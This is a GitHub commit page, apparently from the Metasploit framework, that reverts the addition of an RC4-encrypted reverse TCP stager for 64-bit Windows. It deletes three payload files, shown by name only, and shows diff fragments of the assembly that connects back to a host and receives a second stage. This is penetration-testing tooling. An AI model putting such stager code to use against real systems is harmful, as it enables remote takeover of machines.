Skip to content

Commit

Permalink
Revert "Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"
Browse files Browse the repository at this point in the history
This reverts commit fcc5793, reversing
changes made to 95cd149.
  • Loading branch information
bwatters-r7 committed Mar 2, 2018
1 parent fcc5793 commit 7964868
Show file tree
Hide file tree
Showing 4 changed files with 2 additions and 331 deletions.
97 changes: 0 additions & 97 deletions lib/msf/core/payload/windows/x64/rc4.rb

This file was deleted.

12 changes: 2 additions & 10 deletions lib/msf/core/payload/windows/x64/reverse_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,6 @@ def generate_reverse_tcp(opts={})
start:
pop rbp ; block API pointer
#{asm_reverse_tcp(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
Expand Down Expand Up @@ -106,6 +105,7 @@ def required_space
#
def asm_reverse_tcp(opts={})

reliable = opts[:reliable]
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
Expand Down Expand Up @@ -191,15 +191,7 @@ def asm_reverse_tcp(opts={})
^
asm << asm_send_uuid if include_send_uuid

asm

end

def asm_block_recv(opts={})

reliable = opts[:reliable]

asm = %Q^
asm << %Q^
recv:
; Receive the size of the incoming second stage...
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
Expand Down
189 changes: 0 additions & 189 deletions lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb

This file was deleted.

35 changes: 0 additions & 35 deletions modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb

This file was deleted.

0 comments on commit 7964868

Please sign in to comment.